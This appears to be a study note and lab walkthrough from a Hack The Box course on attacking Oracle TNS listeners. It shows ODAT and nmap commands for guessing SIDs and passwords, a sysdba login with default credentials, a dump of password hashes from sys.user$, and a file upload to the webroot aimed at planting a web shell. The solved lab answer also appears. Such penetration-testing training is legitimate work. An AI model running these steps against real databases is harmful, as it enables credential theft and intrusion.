Oracle TNS [1521]

Packages to Install Before Enumeration of TNS Listener

Before we can enumerate the TNS listener and interact with it, we need to download a few packages and tools for our Pwnbox instance in case it does not have these already. Here is a Bash script that does all of that:

Oracle-Tools-setup.sh

#!/bin/bash

sudo apt-get install libaio1 python3-dev alien -y
git clone https://github.com/quentinhardy/odat.git
cd odat/
git submodule init
git submodule update
wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
unzip instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
unzip instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
export LD_LIBRARY_PATH=instantclient_21_12:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
pip3 install cx_Oracle
sudo apt-get install python3-scapy -y
sudo pip3 install colorlog termcolor passlib python-libnmap
sudo apt-get install build-essential libgmp-dev -y
pip3 install pycryptodome

Test Installation Status (ODAT)

After that, we can try to determine if the installation was successful by running the following command:

Testing ODAT

z3tssu@htb[/htb]$ ./odat.py -h

usage: odat.py [-h] [--version]
               {all,tnscmd,tnspoison,sidguesser,snguesser,passwordguesser,utlhttp,httpuritype,utltcp,ctxsys,externaltable,dbmsxslprocessor,dbmsadvisor,utlfile,dbmsscheduler,java,passwordstealer,oradbg,dbmslob,stealremotepwds,userlikepwd,smb,privesc,cve,search,unwrapper,clean}
               ...

            _  __   _  ___ 
           / \|  \ / \|_ _|
          ( o ) o ) o || | 
           \_/|__/|_n_||_| 
-------------------------------------------
  _        __           _           ___ 
 / \      |  \         / \         |_ _|
( o )       o )         o |         | | 
 \_/racle |__/atabase |_n_|ttacking |_|ool 
-------------------------------------------

By Quentin Hardy ([e-mail] or [e-mail])
...SNIP...

Oracle Database Attacking Tool (ODAT) is an open-source penetration testing tool written in Python and designed to enumerate and exploit vulnerabilities in Oracle databases. It can be used to identify and exploit various security flaws in Oracle databases, including SQL injection, remote code execution, and privilege escalation.

Nmap Oracle TNS Scan

z3tssu@htb[/htb]$ sudo nmap -p1521 -sV 10.129.204.235 --open

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 10:59 EST
Nmap scan report for 10.129.204.235
Host is up (0.0041s latency).

PORT     STATE SERVICE    VERSION
1521/tcp open  oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.64 seconds

We can see that the port is open, and the service is running. In Oracle RDBMS, a System Identifier (SID) is a unique name that identifies a particular database instance. It can have multiple instances, each with its own System ID. An instance is a set of processes and memory structures that interact to manage the database's data. When a client connects to an Oracle database, it specifies the database's SID along with its connection string. The client uses this SID to identify which database instance it wants to connect to. Suppose the client does not specify a SID. Then, the default value defined in the tnsnames.ora file is used.

The SIDs are an essential part of the connection process, as it identifies the specific instance of the database the client wants to connect to. If the client specifies an incorrect SID, the connection attempt will fail. Database administrators can use the SID to monitor and manage the individual instances of a database. For example, they can start, stop, or restart an instance, adjust its memory allocation or other configuration parameters, and monitor its performance using tools like Oracle Enterprise Manager.

Nmap - SID Bruteforcing

There are various ways to enumerate, or better said, guess SIDs. Therefore we can use tools like nmap, hydra, odat, and others. Let us use nmap first.

Nmap - SID Bruteforcing

Oracle TNS

z3tssu@htb[/htb]$ sudo nmap -p1521 -sV 10.129.204.235 --open --script oracle-sid-brute

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 11:01 EST
Nmap scan report for 10.129.204.235
Host is up (0.0044s latency).

PORT     STATE SERVICE    VERSION
1521/tcp open  oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
| oracle-sid-brute: 
|_  XE

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.40 seconds

ODAT - Enumerate

z3tssu@htb[/htb]$ ./odat.py all -s 10.129.204.235

[+] Checking if target 10.129.204.235:1521 is well configured for a connection...
[+] According to a test, the TNS listener 10.129.204.235:1521 is well configured. Continue...

...SNIP...

[!] Notice: 'mdsys' account is locked, so skipping this username for password           #####################| ETA:  00:01:16 
[!] Notice: 'oracle_ocm' account is locked, so skipping this username for password       #####################| ETA:  00:01:05 
[!] Notice: 'outln' account is locked, so skipping this username for password           #####################| ETA:  00:00:59
[+] Valid credentials found: scott/tiger. Continue...

...SNIP...

In this example, we found valid credentials for the user scott and his password tiger. After that, we can use the tool sqlplus to connect to the Oracle database and interact with it.

SQLplus - Log In (Once you have found a login - )

we can use the tool sqlplus to connect to the Oracle database and interact with it.

z3tssu@htb[/htb]$ sqlplus scott/tiger@10.129.204.235/XE

SQL*Plus: Release 21.0.0.0.0 - Production on Mon Mar 6 11:19:21 2023
Version 21.4.0.0.0

Copyright (c) 1982, 2021, Oracle. All rights reserved.

ERROR:
ORA-28002: the password will expire within 7 days



Connected to:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

SQL> 

What to do when you have errors

If you come across the following error sqlplus: error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory, please execute the below, taken from here.

Oracle TNS

z3tssu@htb[/htb]$ sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldconfig

Interaction with Oracle RDBMS

There are many SQLplus commands that we can use to enumerate the database manually. For example, we can list all available tables in the current database or show us the privileges of the current user like the following:

Oracle RDBMS - Interaction

SQL> select table_name from all_tables;

TABLE_NAME
------------------------------
DUAL
SYSTEM_PRIVILEGE_MAP
TABLE_PRIVILEGE_MAP
STMT_AUDIT_OPTION_MAP
AUDIT_ACTIONS
WRR$_REPLAY_CALL_FILTER
HS_BULKLOAD_VIEW_OBJ
HS$_PARALLEL_METADATA
HS_PARTITION_COL_NAME
HS_PARTITION_COL_TYPE
HELP

...SNIP...


SQL> select * from user_role_privs;

USERNAME                       GRANTED_ROLE                   ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SCOTT                          CONNECT                        NO  YES NO
SCOTT                          RESOURCE                       NO  YES NO

Here, the user scott has no administrative privileges. However, we can try using this account to log in as the System Database Admin (sysdba), giving us higher privileges. This is possible when the user scott has the appropriate privileges typically granted by the database administrator or used by the administrator him/herself.

Oracle RDBMS - Database Enumeration

z3tssu@htb[/htb]$ sqlplus scott/tiger@10.129.204.235/XE as sysdba

SQL*Plus: Release 21.0.0.0.0 - Production on Mon Mar 6 11:32:58 2023
Version 21.4.0.0.0

Copyright (c) 1982, 2021, Oracle. All rights reserved.


Connected to:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production


SQL> select * from user_role_privs;

USERNAME                       GRANTED_ROLE                   ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SYS                            ADM_PARALLEL_EXECUTE_TASK      YES YES NO
SYS                            APEX_ADMINISTRATOR_ROLE        YES YES NO
SYS                            AQ_ADMINISTRATOR_ROLE          YES YES NO
SYS                            AQ_USER_ROLE                   YES YES NO
SYS                            AUTHENTICATEDUSER              YES YES NO
SYS                            CONNECT                        YES YES NO
SYS                            CTXAPP                         YES YES NO
SYS                            DATAPUMP_EXP_FULL_DATABASE     YES YES NO
SYS                            DATAPUMP_IMP_FULL_DATABASE     YES YES NO
SYS                            DBA                            YES YES NO
SYS                            DBFS_ROLE                      YES YES NO

USERNAME                       GRANTED_ROLE                   ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SYS                            DELETE_CATALOG_ROLE            YES YES NO
SYS                            EXECUTE_CATALOG_ROLE           YES YES NO
...SNIP...

We can follow many approaches once we get access to an Oracle database. It highly depends on the information we have and the entire setup. However, we can not add new users or make any modifications.

Oracle RDBMS - Extract Password Hashes

From this point, we could retrieve the password hashes from the sys.user$ and try to crack them offline. The query for this would look like the following:

SQL> select name, password from sys.user$;

NAME                           PASSWORD
------------------------------ ------------------------------
SYS                            FBA343E7D6C8BC9D
PUBLIC
CONNECT
RESOURCE
DBA
SYSTEM                         B5073FE1DE351687
SELECT_CATALOG_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
OUTLN                          4A3BA55E08595C81
EXP_FULL_DATABASE

NAME                           PASSWORD
------------------------------ ------------------------------
IMP_FULL_DATABASE
LOGSTDBY_ADMINISTRATOR
...SNIP.

Oracle RDBMS - File Upload

Another option is to upload a web shell to the target. However, this requires the server to run a web server, and we need to know the exact location of the root directory for the webserver. Nevertheless, if we know what type of system we are dealing with, we can try the default paths, which are:

OS	Path
Linux	/var/www/html
Windows	C:\inetpub\wwwroot

First, trying our exploitation approach with files that do not look dangerous for Antivirus or Intrusion detection/prevention systems is always important. Therefore, we create a text file with a string and use it to upload to the target system.

Oracle RDBMS - File Upload

z3tssu@htb[/htb]$ echo "Oracle File Upload Test" > testing.txt
z3tssu@htb[/htb]$ ./odat.py utlfile -s 10.129.204.235 -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot testing.txt ./testing.txt

[1] (10.129.204.235:1521): Put the ./testing.txt local file in the C:\inetpub\wwwroot folder like testing.txt on the 10.129.204.235 server                                                                                                  
[+] The ./testing.txt file was created on the C:\inetpub\wwwroot directory on the 10.129.204.235 server like the testing.txt file

Finally, we can test if the file upload approach worked with curl. Therefore, we will use a GET http://<IP> request, or we can visit via browser.

HTB Guide

Oracle TNS

Question 1

"Enumerate the target Oracle database and submit the password hash of the user DBSNMP as the answer."

After spawning the target machine, students first need to download the required packages:

Code: shell

wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
sudo mkdir -p /opt/oracle
sudo unzip -d /opt/oracle instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
sudo unzip -d /opt/oracle instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_4:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
source ~/.bashrc
cd ~
git clone https://github.com/quentinhardy/odat.git
cd odat/
pip install python-libnmap
git submodule init
git submodule update
pip3 install cx_Oracle
sudo apt-get install python3-scapy -y
sudo pip3 install colorlog termcolor passlib python-libnmap
sudo apt-get install build-essential libgmp-dev -y
pip3 install pycryptodome

Oracle TNS

┌─[eu-academy-5]─[10.10.14.97]─[htb-ac-8414@htb-ysmlyx7eba]─[~]
└──╼ [★]$ wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip 
sudo mkdir -p /opt/oracle
sudo unzip -d /opt/oracle instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
sudo unzip -d /opt/oracle instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_4:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
source ~/.bashrc
cd ~
git clone https://github.com/quentinhardy/odat.git
cd odat/
pip install python-libnmap
git submodule init
git submodule update
pip3 install cx_Oracle
sudo apt-get install python3-scapy -y
sudo pip3 install colorlog termcolor passlib python-libnmap
sudo apt-get install build-essential libgmp-dev -y
pip3 install pycryptodome
<SNIP>

Subsequently, students need to use odat.py to enumerate the Oracle database services (providing the option c when prompted to continue and then s after attaining credentials):

Code: shell

python3 odat.py all -s STMIP

Oracle TNS

┌─[us-academy-1]─[10.10.14.91]─[htb-ac-413848@htb-qkf0vmr2o8]─[~/odat]
└──╼ [★]$ python3 odat.py all -s 10.129.19.130  

[+] Checking if target 10.129.19.130:1521 is well configured for a connection...
[+] According to a test, the TNS listener 10.129.19.130:1521 is well configured. Continue...

<SNIP>

[2] (10.129.19.130:1521): Searching valid SIDs
[2.1] Searching valid SIDs thanks to a well known SID list on the 10.129.19.130:1521 server
[+] 'XE' is a valid SID. Continue...                        ###############################################################  | ETA:  00:00:01 

<SNIP>

The login cis has already been tested at least once. What do you want to do:                                                 | ETA:  00:06:57 
- stop (s/S)
- continue and ask every time (a/A)
- skip and continue to ask (p/P)
- continue without to ask (c/C)
c
<SNIP>
[!] Notice: 'oracle_ocm' account is locked, so skipping this username for password                                           | ETA:  00:03:43 
[!] Notice: 'outln' account is locked, so skipping this username for password#####                                           | ETA:  00:03:20 
[+] Valid credentials found: scott/tiger. Continue...       #########################################                        | ETA:  00:01:48 
[!] Notice: 'xdb' account is locked, so skipping this username for password#############################################     | ETA:  00:00:21 
100% |#######################################################################################################################| Time: 00:08:56 
[+] Accounts found on 10.129.19.130:1521/sid:XE: 
scott/tiger


[5] (10.129.19.130:1521): Searching valid accounts on the XEXDB Service Name
The login abm has already been tested at least once. What do you want to do:                                                 | ETA:  --:--:-- 
- stop (s/S)
- continue and ask every time (a/A)
- skip and continue to ask (p/P)
- continue without to ask (c/C)
s
100% |#######################################################################################################################| Time: 00:00:09 

Using the found credentials scott/tiger, students need to connect to the database on STMIP with sqlplus as sysdba, utilizing the Oracle Express Edition (XE) service identifier:

Code: shell

sqlplus scott/tiger@STMIP/XE as sysdba

Oracle TNS

┌─[us-academy-2]─[10.10.15.12]─[htb-ac-594497@htb-pe4uhikext]─[~/odat]
└──╼ [★]$ sqlplus scott/tiger@10.129.8.92/XE as sysdba

SQL*Plus: Release 19.0.0.0.0 - Production on Wed Mar 29 19:06:12 2023
Version 19.6.0.0.0

Copyright (c) 1982, 2019, Oracle.  All rights reserved.

Connected to:

Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

SQL>

At last, when retrieving the password hashes from the sys.user$ table, students will attain the password E066D214D5421CCC for the user DBSNMP:

Code: sql

select name, password from sys.user$ where name = 'DBSNMP';

Code: sql

SQL> select name, password from sys.user$ where name = 'DBSNMP';

NAME			       PASSWORD
------------------------------ ------------------------------
DBSNMP			       E066D214D5421CCC

Answer: {hidden}